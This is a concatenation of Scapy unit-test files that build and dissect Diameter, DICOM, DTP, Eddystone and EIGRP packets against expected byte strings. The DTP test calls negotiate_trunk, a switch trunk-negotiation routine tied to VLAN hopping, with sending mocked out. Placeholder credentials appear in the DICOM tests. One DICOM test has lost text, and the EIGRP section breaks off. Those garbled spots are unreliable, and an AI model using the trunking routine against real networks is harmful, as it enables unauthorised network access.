http://www.secdev.org/projects/UTscapy/ # original author: patrick battistello % Validation of Diameter layer ####################################################################### + Different ways of building basic AVPs ####################################################################### = AVP identified by full name a1 = AVP ('High-User-Priority', val=15) a1.show() raw(a1) == b'\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f' = Same AVP identified by the beginning of the name a1b = AVP ('High-U', val=15) a1b.show() raw(a1b) == raw(a1) = Same AVP identified by its code a1c = AVP (559, val=15) a1c.show() raw(a1c) == raw(a1) = The Session-Id AVP (with some padding added) a2 = AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587') a2.show() raw(a2) == b'\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00' = An enumerated AVP a3 = AVP ('Auth-Session-State', val='NO_STATE_MAINTAINED') a3.show() raw(a3) == b'\x00\x00\x01\x15@\x00\x00\x0c\x00\x00\x00\x01' = An address AVP a4v4 = AVP("CG-Address", val='192.168.0.1') a4v4.show() raw(a4v4) == b'\x00\x00\x03N\xc0\x00\x00\x12\x00\x00(\xaf\x00\x01\xc0\xa8\x00\x01\x00\x00' a4v6 = AVP("CG-Address", val='::1') a4v6.show() raw(a4v6) == b'\x00\x00\x03N\xc0\x00\x00\x1e\x00\x00(\xaf\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' a4error = AVP("CG-Address", val="unknown") a4error.show() assert raw(a4error) == raw(AVP("CG-Address")) = A time AVP a5 = AVP("Expiry-Time") a5.show() assert not a5.val = An empty Auth App ID AVP a6 = AVP("Auth-Application-Id") a6.show() raw(a6) == b'\x00\x00\x01\x02@\x00\x00\x0c\x00\x00\x00\x00' = An ISDN AVP a7 = AVP("MSISDN", val="101") a7.show() raw(a7) == b'\x00\x00\x02\xbd\xc0\x00\x00\x0e\x00\x00(\xaf\x01\xf1\x00\x00' = Some OctetString AVPs a8 = AVP("Authorization-Token", val="test") a8.show() assert raw(a8) == b'\x00\x00\x01\xfa\xc0\x00\x00\x10\x00\x00(\xaftest' a8 = AVP("Authorization-Token", val=b"test\xc3\xa9") a8.show() assert a8.val == b"test\xc3\xa9" assert raw(a8) == b'\x00\x00\x01\xfa\xc0\x00\x00\x12\x00\x00(\xaftest\xc3\xa9\x00\x00' = Unknown AVP identifier a9 = AVP("wrong") assert not a9 ####################################################################### + AVPs with vendor field ####################################################################### = Vendor AVP identified by full name a4 = AVP ('Feature-List-ID', val=1) a4.show() raw(a4) == b'\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01' = Same AVP identified by its code and vendor ID * This time a list is required as first argument a4c = AVP ( [629, 10415], val=1) raw(a4c) == raw(a4) ####################################################################### + Altering the AVPs default provided values ####################################################################### = Altering the flags of the Origin-Host AVP a5 = AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') a5.show() raw(a5) == b'\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00' = Altering the length of the Destination-Realm AVP a6 = AVP (283, avpLen=33, val='foreign.realm1.fr') a6.show() raw(a6) == b'\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' = Altering the vendor of the Public-Identity AVP, and hence the flags ... a7 = AVP ( [601, 98765432], val = 'sip:+0123456789@aaa.test.orange.fr') a7.show() raw(a7) == b'\x00\x00\x02Y\x80\x00\x00.\x05\xe3\nxsip:+0123456789@aaa.test.orange.fr\x00\x00' ####################################################################### + Grouped AVPs ####################################################################### = The Supported-Features AVP (with vendor) a8 = AVP ('Supported-Features') a8.val.append(a1) a8.val.append(a5) a8.show() raw(a8) == b'\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00' = The same AVP created more simply a8b = AVP ('Supported-Features', val = [a1, a5]) raw(a8b) == raw(a8) = (re)Building the previous AVP from scratch a8c = AVP ('Supported-Features', val = [ AVP ('High-User-Priority', val=15), AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') ]) raw(a8c) == raw(a8) = Another (dummy) grouped AVP a9 = AVP (297, val = [a2, a4, a6]) a9.show() raw(a9) == b'\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' = A grouped AVP inside another grouped AVP a10 = AVP ('Server-Cap', val = [a1, a9]) a10.show() raw(a10) == b'\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' = A big grouped AVP a11 = AVP ('SIP-Auth', val = [a2, a4, a8, a10]) a11.show() raw(a11) == b'\x00\x00\x01x@\x00\x00\xf0\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' = Dissect grouped AVP a12 = DiamG(b'\x01\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xbd\xc0\x00\x00\r\x00\x00(\xaf\x01') assert isinstance(a12.avpList[0], AVP_10415_701) assert "MSISDN" in a12.avpList[0].name ####################################################################### + Diameter Requests (without AVPs) ####################################################################### = A simple request identified by its name r1 = DiamReq ('Capabilities-Exchange', drHbHId=1234, drEtEId=5678) r1.show() raw(r1) == b'\x01\x00\x00\x14\x80\x00\x01\x01\x00\x00\x00\x00\x00\x00\x04\xd2\x00\x00\x16.' = Unknown request by its name ur = DiamReq ('Unknown') raw(ur) == b'\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = The same one identified by its code r1b = DiamReq (257, drHbHId=1234, drEtEId=5678) raw(r1b) == raw(r1) = Unknown request by its code ur = DiamReq (0) raw(ur) == b'\x01\x00\x00\x14\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = The same one identified by its abbreviation * Only the first 2 abbreviation letters are significant (although 3 are provided in this example) r1c = DiamReq ('CER', drHbHId=1234, drEtEId=5678) raw(r1c) == raw(r1) = Altering the request default fields r2 = DiamReq ('CER', drHbHId=1234, drEtEId=5678, drFlags=179, drAppId=978, drLen=12) r2.show() raw(r2) == b'\x01\x00\x00\x0c\xb3\x00\x01\x01\x00\x00\x03\xd2\x00\x00\x04\xd2\x00\x00\x16.' = Altering the default request fields with string r2b = DiamReq ('CER', drAppId="1") r2b.show() raw(r2b) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x01\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00' = Altering the default request fields with invalid string r2be = DiamReq ('CER', drAppId="-1") r2be.show() raw(r2be) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ####################################################################### + Diameter Answers (without AVPs) ####################################################################### = A simple answer identified by its name ans1 = DiamAns ('Capabilities-Exchange', drHbHId=1234, drEtEId=5678) ans1.show() raw(ans1) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x04\xd2\x00\x00\x16.' = Same answer identified by its code or abbreviation ans1b = DiamAns (257, drHbHId=1234, drEtEId=5678) ans1c = DiamAns ('CEA', drHbHId=1234, drEtEId=5678) a = raw(ans1b) == raw(ans1) b = raw(ans1c) == raw(ans1) a, b assert a and b = Altering the answer default fields ans2 = DiamAns ('CEA', drHbHId=1234, drEtEId=5678, drFlags=115, drAppId=1154, drLen=18) ans2.show() raw(ans2) == b'\x01\x00\x00\x12s\x00\x01\x01\x00\x00\x04\x82\x00\x00\x04\xd2\x00\x00\x16.' ####################################################################### + Full Diameter messages ####################################################################### = A dummy Multimedia-Auth request (identified by only a portion of its name) r3 = DiamReq ('Multimedia-Auth', drHbHId=0x5478, drEtEId=0x1234, avpList = [a11]) r3.show() raw(r3) == b'\x01\x00\x01\x04\xc0\x00\x01\x1e\x00\x00\x00\x06\x00\x00Tx\x00\x00\x124\x00\x00\x01x@\x00\x00\xf0\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' = The same request built from scratch r3b = DiamReq ('Multimedia-Auth', drHbHId=0x5478, drEtEId=0x1234, avpList = [ AVP ('SIP-Auth', val = [ AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587'), AVP ('Feature-List-ID', val=1), AVP ('Supported-Features', val = [ AVP ('High-User-Priority', val=15), AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') ]), AVP ('Server-Cap', val = [ AVP ('High-User-Priority', val=15), AVP (297, val = [ AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587'), AVP ('Feature-List-ID', val=1), AVP (283, avpLen=33, val='foreign.realm1.fr') ]) ]) ]) ]) raw(r3b) == raw(r3) ####################################################################### + Diameter over SCTP ####################################################################### = Diameter decoded from SCTPChunkData via proto_id binding from scapy.layers.sctp import SCTP, SCTPChunkData diam_pkt = DiamAns('Capabilities-Exchange', drHbHId=0x1234, drEtEId=0x5678, avpList=[AVP('Origin-Host', val='host.example.com'), AVP('Origin-Realm', val='example.com')]) pkt = SCTP(raw(SCTP() / SCTPChunkData(proto_id=46, beginning=1, ending=1, data=raw(diam_pkt)))) chunk = pkt[SCTPChunkData] assert isinstance(chunk.data, DiamG) assert chunk.proto_id == 46 assert chunk.data.drHbHId == 0x1234 assert chunk.data.avpList[0].avpCode == 264 = SCTPChunkData with unknown proto_id keeps raw bytes pkt = SCTP(raw(SCTP() / SCTPChunkData(proto_id=0, data=b"test"))) assert raw(pkt[SCTPChunkData].data) == b"test" = SCTPChunkData fragment is not decoded pkt = SCTP(raw(SCTP() / SCTPChunkData(proto_id=46, beginning=1, ending=0, data=raw(diam_pkt)))) assert not isinstance(pkt[SCTPChunkData].data, DiamG) ================================================ FILE: test/contrib/dicom.uts ================================================ % DICOM (Digital Imaging and Communications in Medicine) tests # Type the following command to launch the tests: # $ test/run_tests -P "load_contrib('dicom')" -t test/contrib/dicom.uts ############ ############ + DICOM module loading = Import DICOM module load_contrib("dicom", globals_dict=globals()) = Verify essential classes are exported assert DICOM is not None assert A_ASSOCIATE_RQ is not None assert A_ASSOCIATE_AC is not None assert A_ASSOCIATE_RJ is not None assert P_DATA_TF is not None assert A_RELEASE_RQ is not None assert A_RELEASE_RP is not None assert A_ABORT is not None assert DICOMVariableItem is not None assert DICOMApplicationContext is not None assert DICOMPresentationContextRQ is not None assert DICOMUserInformation is not None assert DICOMMaximumLength is not None = Verify DIMSE packet classes are exported assert C_ECHO_RQ is not None assert C_ECHO_RSP is not None assert C_STORE_RQ is not None assert C_STORE_RSP is not None assert C_FIND_RQ is not None assert C_FIND_RSP is not None assert C_MOVE_RQ is not None assert C_MOVE_RSP is not None assert C_GET_RQ is not None assert C_GET_RSP is not None = Verify constants are exported assert DICOM_PORT == 104 assert APP_CONTEXT_UID == "1.2.840.10008.3.1.1.1" assert DEFAULT_TRANSFER_SYNTAX_UID == "1.2.840.10008.1.2" assert VERIFICATION_SOP_CLASS_UID == "1.2.840.10008.1.1" = Verify Query/Retrieve SOP Class UIDs are exported assert PATIENT_ROOT_QR_FIND_SOP_CLASS_UID == "1.2.840.10008.5.1.4.1.2.1.1" assert PATIENT_ROOT_QR_MOVE_SOP_CLASS_UID == "1.2.840.10008.5.1.4.1.2.1.2" assert PATIENT_ROOT_QR_GET_SOP_CLASS_UID == "1.2.840.10008.5.1.4.1.2.1.3" assert STUDY_ROOT_QR_FIND_SOP_CLASS_UID == "1.2.840.10008.5.1.4.1.2.2.1" assert STUDY_ROOT_QR_MOVE_SOP_CLASS_UID == "1.2.840.10008.5.1.4.1.2.2.2" assert STUDY_ROOT_QR_GET_SOP_CLASS_UID == "1.2.840.10008.5.1.4.1.2.2.3" ############ ############ + PDU header tests = DICOM PDU header construction pkt = DICOM() assert pkt.pdu_type == 0x01 assert pkt.reserved1 == 0 = DICOM PDU type field values import struct for pdu_type, expected_class in [(0x01, A_ASSOCIATE_RQ), (0x02, A_ASSOCIATE_AC), (0x03, A_ASSOCIATE_RJ), (0x04, P_DATA_TF), (0x05, A_RELEASE_RQ), (0x06, A_RELEASE_RP), (0x07, A_ABORT)]: pkt = DICOM() / expected_class() raw_bytes = bytes(pkt) assert raw_bytes[0] == pdu_type ############ ############ + LenField auto-calculation tests = DICOM header auto-calculates payload length pkt = DICOM() / A_RELEASE_RQ() raw = bytes(pkt) length_field = struct.unpack("!I", raw[2:6])[0] payload_size = len(raw) - 6 assert length_field == payload_size assert length_field == 4 = Variable item length auto-calculated pkt = DICOMVariableItem() / DICOMApplicationContext() raw = bytes(pkt) length_field = struct.unpack("!H", raw[2:4])[0] payload_size = len(raw) - 4 assert length_field == payload_size = Nested items have correct cumulative length max_len = DICOMVariableItem() / DICOMMaximumLength(max_pdu_length=16384) user_info = DICOMVariableItem() / DICOMUserInformation(sub_items=[max_len]) raw = bytes(user_info) assert len(raw) == 12 ui_length = struct.unpack("!H", raw[2:4])[0] assert ui_length == 8 ############ ############ + Variable item bind_layers tests = Application Context bind_layers (type 0x10) pkt = DICOMVariableItem() / DICOMApplicationContext() assert pkt.item_type == 0x10 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.item_type == 0x10 assert parsed.haslayer(DICOMApplicationContext) = Abstract Syntax bind_layers (type 0x30) uid = _uid_to_bytes(VERIFICATION_SOP_CLASS_UID) pkt = DICOMVariableItem() / DICOMAbstractSyntax(uid=uid) assert pkt.item_type == 0x30 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.item_type == 0x30 assert parsed.haslayer(DICOMAbstractSyntax) assert parsed[DICOMAbstractSyntax].uid == uid = Transfer Syntax bind_layers (type 0x40) pkt = DICOMVariableItem() / DICOMTransferSyntax() assert pkt.item_type == 0x40 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.item_type == 0x40 assert parsed.haslayer(DICOMTransferSyntax) = Maximum Length bind_layers (type 0x51) pkt = DICOMVariableItem() / DICOMMaximumLength(max_pdu_length=32768) assert pkt.item_type == 0x51 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.item_type == 0x51 assert parsed.haslayer(DICOMMaximumLength) assert parsed[DICOMMaximumLength].max_pdu_length == 32768 = User Information bind_layers (type 0x50) max_len = DICOMVariableItem() / DICOMMaximumLength(max_pdu_length=16384) pkt = DICOMVariableItem() / DICOMUserInformation(sub_items=[max_len]) assert pkt.item_type == 0x50 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.item_type == 0x50 assert parsed.haslayer(DICOMUserInformation) = Presentation Context RQ bind_layers (type 0x20) abs_syn = DICOMVariableItem() / DICOMAbstractSyntax(uid=_uid_to_bytes(VERIFICATION_SOP_CLASS_UID)) ts = DICOMVariableItem() / DICOMTransferSyntax() pkt = DICOMVariableItem() / DICOMPresentationContextRQ(context_id=1, sub_items=[abs_syn, ts]) assert pkt.item_type == 0x20 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.item_type == 0x20 assert parsed.haslayer(DICOMPresentationContextRQ) assert parsed[DICOMPresentationContextRQ].context_id == 1 = Presentation Context AC bind_layers (type 0x21) ts = DICOMVariableItem() / DICOMTransferSyntax() pkt = DICOMVariableItem() / DICOMPresentationContextAC(context_id=1, result=0, sub_items=[ts]) assert pkt.item_type == 0x21 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.item_type == 0x21 assert parsed.haslayer(DICOMPresentationContextAC) assert parsed[DICOMPresentationContextAC].result == 0 = Unknown item type uses guess_payload_class fallback raw = struct.pack("!BBH", 0xFF, 0, 4) + b"test" parsed = DICOMVariableItem(raw) assert parsed.item_type == 0xFF assert parsed.length == 4 assert parsed.payload is not None ############ ############ + A-ASSOCIATE-RQ tests = Build simple A-ASSOCIATE-RQ app_ctx = DICOMVariableItem() / DICOMApplicationContext() pctx = build_presentation_context_rq(1, VERIFICATION_SOP_CLASS_UID, [DEFAULT_TRANSFER_SYNTAX_UID]) user_info = build_user_information(max_pdu_length=16384) assoc_rq = DICOM() / A_ASSOCIATE_RQ( called_ae_title=b"TARGET", calling_ae_title=b"SOURCE", variable_items=[app_ctx, pctx, user_info] ) raw = bytes(assoc_rq) parsed = DICOM(raw) assert parsed.haslayer(A_ASSOCIATE_RQ) items = parsed[A_ASSOCIATE_RQ].variable_items assert len(items) == 3 assert items[0].item_type == 0x10 assert items[1].item_type == 0x20 assert items[2].item_type == 0x50 = A-ASSOCIATE-RQ AE titles are space-padded by DICOMAETitleField original = DICOM() / A_ASSOCIATE_RQ( called_ae_title=b"TARGET", calling_ae_title=b"SOURCE", ) serialized = bytes(original) parsed = DICOM(serialized) assert parsed.haslayer(A_ASSOCIATE_RQ) assert parsed[A_ASSOCIATE_RQ].called_ae_title == b"TARGET " assert parsed[A_ASSOCIATE_RQ].calling_ae_title == b"SOURCE " = A-ASSOCIATE-RQ with multiple presentation contexts app_ctx = DICOMVariableItem() / DICOMApplicationContext() pctx1 = build_presentation_context_rq(1, VERIFICATION_SOP_CLASS_UID, [DEFAULT_TRANSFER_SYNTAX_UID]) pctx2 = build_presentation_context_rq(3, CT_IMAGE_STORAGE_SOP_CLASS_UID, [DEFAULT_TRANSFER_SYNTAX_UID]) user_info = build_user_information() assoc_rq = DICOM() / A_ASSOCIATE_RQ( called_ae_title=b"TARGET", calling_ae_title=b"SOURCE", variable_items=[app_ctx, pctx1, pctx2, user_info] ) raw = bytes(assoc_rq) parsed = DICOM(raw) items = parsed[A_ASSOCIATE_RQ].variable_items assert len(items) == 4 pctx_items = [i for i in items if i.item_type == 0x20] assert len(pctx_items) == 2 assert pctx_items[0][DICOMPresentationContextRQ].context_id == 1 assert pctx_items[1][DICOMPresentationContextRQ].context_id == 3 ############ ############ + A-ASSOCIATE-RJ tests = A-ASSOCIATE-RJ construction and parsing pkt = DICOM() / A_ASSOCIATE_RJ(result=1, source=2, reason_diag=2) reparsed = DICOM(bytes(pkt)) assert reparsed.haslayer(A_ASSOCIATE_RJ) assert reparsed[A_ASSOCIATE_RJ].source == 2 ############ ############ + A-RELEASE tests = A-RELEASE-RQ round-trip original = DICOM() / A_RELEASE_RQ() serialized = bytes(original) parsed = DICOM(serialized) assert parsed.haslayer(A_RELEASE_RQ) = A-RELEASE-RP round-trip original = DICOM() / A_RELEASE_RP() serialized = bytes(original) parsed = DICOM(serialized) assert parsed.haslayer(A_RELEASE_RP) ############ ############ + A-ABORT tests = A-ABORT round-trip original = DICOM() / A_ABORT(source=2, reason_diag=6) serialized = bytes(original) parsed = DICOM(serialized) assert parsed.haslayer(A_ABORT) assert parsed[A_ABORT].source == 2 assert parsed[A_ABORT].reason_diag == 6 ############ ############ + P-DATA-TF tests = PresentationDataValueItem length linked to data test_data = b"TEST_DATA_12345" pdv = PresentationDataValueItem(context_id=1, data=test_data, is_command=1, is_last=1) raw = bytes(pdv) length = struct.unpack("!I", raw[:4])[0] assert length == len(test_data) + 2 = P-DATA-TF with multiple PDV items - build only pdv1 = PresentationDataValueItem(context_id=1, data=b'\xDE\xAD', is_command=1, is_last=0) pdv2 = PresentationDataValueItem(context_id=1, data=b'\xBE\xEF', is_command=0, is_last=1) pkt = DICOM() / P_DATA_TF(pdv_items=[pdv1, pdv2]) raw = bytes(pkt) assert raw[0] == 0x04 assert len(raw) > 6 = P-DATA-TF round-trip - build and verify structure test_data = b"\x01\x02\x03\x04\x05" pdv = PresentationDataValueItem(context_id=3, data=test_data, is_command=1, is_last=1) original = DICOM() / P_DATA_TF(pdv_items=[pdv]) serialized = bytes(original) assert serialized[0] == 0x04 length = struct.unpack("!I", serialized[2:6])[0] assert length > 0 assert test_data in serialized = PDV is_command flag encoding pdv = PresentationDataValueItem(context_id=1, data=b'x', is_command=1, is_last=0) raw = bytes(pdv) msg_ctrl = raw[5] assert msg_ctrl & 0x01 == 1 assert msg_ctrl & 0x02 == 0 = PDV is_last flag encoding pdv = PresentationDataValueItem(context_id=1, data=b'x', is_command=0, is_last=1) raw = bytes(pdv) msg_ctrl = raw[5] assert msg_ctrl & 0x01 == 0 assert msg_ctrl & 0x02 == 2 = PDV both flags set pdv = PresentationDataValueItem(context_id=1, data=b'x', is_command=1, is_last=1) raw = bytes(pdv) msg_ctrl = raw[5] assert msg_ctrl == 0x03 = PDV flags encoding verification for is_cmd in [0, 1]: for is_last in [0, 1]: pdv = PresentationDataValueItem(context_id=1, data=b'test', is_command=is_cmd, is_last=is_last) raw = bytes(pdv) msg_ctrl = raw[5] assert (msg_ctrl & 0x01) == is_cmd assert (msg_ctrl & 0x02) == (is_last << 1) ############ ############ + DIMSE packet tests = C_ECHO_RQ creation with defaults pkt = C_ECHO_RQ() raw = bytes(pkt) assert raw[:4] == b'\x00\x00\x00\x00' assert b'1.2.840.10008.1.1' in raw = C_ECHO_RQ custom message_id pkt = C_ECHO_RQ(message_id=12345) raw = bytes(pkt) assert b'\x10\x01' in raw assert struct.pack("= 1 assert sub_items[0].item_type == 0x51 assert sub_items[0][DICOMMaximumLength].max_pdu_length == 32768 = build_user_information with implementation info user_info = build_user_information( max_pdu_length=16384, implementation_class_uid="1.2.3.4.5", implementation_version="SCAPY_V1" ) sub_items = user_info[DICOMUserInformation].sub_items assert len(sub_items) == 3 types = [item.item_type for item in sub_items] assert 0x51 in types assert 0x52 in types assert 0x55 in types = _uid_to_bytes pads odd-length UIDs assert len(_uid_to_bytes("1.2.3")) % 2 == 0 assert _uid_to_bytes("1.2.3.4") == b"1.2.3.4\x00" assert _uid_to_bytes("1.2.3") == b"1.2.3\x00" ############ ############ + User Identity Negotiation tests = User Identity username only (type 1) pkt = DICOMVariableItem() / DICOMUserIdentity( user_identity_type=1, positive_response_requested=0, primary_field=b"admin" ) assert pkt.item_type == 0x58 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.haslayer(DICOMUserIdentity) assert parsed[DICOMUserIdentity].user_identity_type == 1 assert parsed[DICOMUserIdentity].primary_field == b"admin" = User Identity username+password (type 2) pkt = DICOMVariableItem() / DICOMUserIdentity( user_identity_type=2, positive_response_requested=1, primary_field=b"admin", secondary_field=b"password123" ) raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.haslayer(DICOMUserIdentity) assert parsed[DICOMUserIdentity].user_identity_type == 2 assert parsed[DICOMUserIdentity].primary_field == b"admin" assert parsed[DICOMUserIdentity].secondary_field == b"password123" = User Identity Response pkt = DICOMVariableItem() / DICOMUserIdentityResponse( server_response=b"auth_token_12345" ) assert pkt.item_type == 0x59 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.haslayer(DICOMUserIdentityResponse) assert parsed[DICOMUserIdentityResponse].server_response == b"auth_token_12345" ############ ############ + Async Operations Window tests = Async operations default values pkt = DICOMVariableItem() / DICOMAsyncOperationsWindow() assert pkt.item_type == 0x53 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.haslayer(DICOMAsyncOperationsWindow) assert parsed[DICOMAsyncOperationsWindow].max_ops_invoked == 1 assert parsed[DICOMAsyncOperationsWindow].max_ops_performed == 1 = Async operations custom values pkt = DICOMVariableItem() / DICOMAsyncOperationsWindow( max_ops_invoked=8, max_ops_performed=4 ) raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed[DICOMAsyncOperationsWindow].max_ops_invoked == 8 assert parsed[DICOMAsyncOperationsWindow].max_ops_performed == 4 ############ ############ + SCP/SCU Role Selection tests = Role Selection SCU only pkt = DICOMVariableItem() / DICOMSCPSCURoleSelection( sop_class_uid=b"1.2.840.10008.5.1.4.1.1.2", scu_role=1, scp_role=0 ) assert pkt.item_type == 0x54 raw = bytes(pkt) parsed = DICOMVariableItem(raw) assert parsed.haslayer(DICOMSCPSCURoleSelection) assert parsed[DICOMSCPSCURoleSelection].sop_class_uid == b"1.2.840.10008.5.1.4.1.1.2" assert parsed[DICOMSCPSCURoleSelection].scu_role == 1 assert parsed[DICOMSCPSCURoleSelection].scp_role == 0 ############ ############ + DICOM extract_padding for StreamSocket = DICOM extract_padding method exists pkt = DICOM() assert hasattr(pkt, 'extract_padding') = DICOM extract_padding separates payload from trailing data pkt = DICOM() pkt.length = 10 payload, remaining = pkt.extract_padding(b'0123456789EXTRA') assert payload == b'0123456789' assert remaining == b'EXTRA' ############ ############ + TCP layer binding = DICOM binds to TCP port 104 from scapy.layers.inet import TCP pkt = TCP(dport=104) / b'\x01\x00\x00\x00\x00\x04' assert DICOM in pkt or pkt.payload ############ ############ + Edge cases = Empty variable items list pkt = DICOM() / A_ASSOCIATE_RQ(variable_items=[]) serialized = bytes(pkt) parsed = DICOM(serialized) assert parsed.haslayer(A_ASSOCIATE_RQ) = Empty PDV items list pkt = DICOM() / P_DATA_TF(pdv_items=[]) serialized = bytes(pkt) assert len(serialized) == 6 ================================================ FILE: test/contrib/dtp.uts ================================================ + DTP Contrib tests = Basic DTP build pkt = DTP(tlvlist=[DTPNeighbor(neighbor='00:11:22:33:44:55'), DTPDomain(domain=b"\x01\x02\x03")]) assert raw(pkt) == b'\x01\x00\x04\x00\n\x00\x11"3DU\x00\x01\x00\x07\x01\x02\x03' = Basic DTP dissection pkt = Ether(b'\x01\x00\x0c\xcc\xcc\xcc\xd0P\x99V\xdd\xf9\x00"\xaa\xaa\x03\x00\x00\x0c \x04\x01\x00\x03\x00\x05\xa5\x00\x04\x00\n\xaa\xbb\xcc\xdd\xee\xff\x00\x01\x00\x05\x00\x00\x02\x00\x05\x03') assert DTP in pkt assert pkt[DTP].tlvlist[0].dtptype == b'\xa5' assert pkt[DTP].tlvlist[1].neighbor == 'aa:bb:cc:dd:ee:ff' assert pkt[DTP].tlvlist[2].domain == b'\x00' assert pkt[DTP].tlvlist[3].status == b'\x03' = Test negotiate_trunk from unittest import mock def test_pkt(pkt): pkt = Ether(raw(pkt)) assert DTP in pkt assert len(pkt[DTP].tlvlist) == 4 print("Succeed") @mock.patch("scapy.contrib.dtp.sendp", side_effect=test_pkt) def _test_negotiate_trunk(m): negotiate_trunk() _test_negotiate_trunk() ================================================ FILE: test/contrib/eddystone.uts ================================================ # Eddystone unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('eddystone')" -t test/contrib/eddystone.uts + Eddystone tests = Setup def expect_exception(e, c): try: c() return False except e: return True = Eddystone URL (decode EIR) d = hex_bytes('0c16aafe10040373636170790a') p = EIR_Hdr(d) p.show() assert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfeaa assert p[Eddystone_URL].to_url() == b'https://scapy.net' = Eddystone URL (decode LE Set Advertising Data) d = hex_bytes('01082020140201020303aafe0c16aafe10040373636170790a0000000000000000000000') p = HCI_Hdr(d) assert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfeaa assert p[Eddystone_URL].to_url() == b'https://scapy.net' = Eddystone URL (encode frames) d = raw(Eddystone_URL.from_url('https://scapy.net')) assert d == hex_bytes('10000373636170790a') d = raw(Eddystone_URL.from_url('https://www.scapy.net')) assert d == hex_bytes('10000173636170790a') # Include some other .extensions in the path d = raw(Eddystone_URL.from_url('http://www.example.com/hello.info.html')) assert d == hex_bytes('1000006578616d706c650068656c6c6f0b2e68746d6c') = Eddystone URL (encode unsupported scheme) assert expect_exception(Exception, lambda: Eddystone_URL.from_url('gopher://example.com')) = Eddystone URL (encode advertising report) p = Eddystone_URL.from_url('https://scapy.net').build_advertising_report() assert raw(p[EIR_ServiceData16BitUUID]) == hex_bytes('aafe10000373636170790a') ================================================ FILE: test/contrib/eigrp.uts ================================================ % EIGRP Tests * Tests for the Scapy EIGRP layer + Basic Layer Tests * These are just some basic tests = EIGRP IPv4 Binding ~ eigrp_ipv4_binding p = IP()/EIGRP() p[IP].proto == 88 = 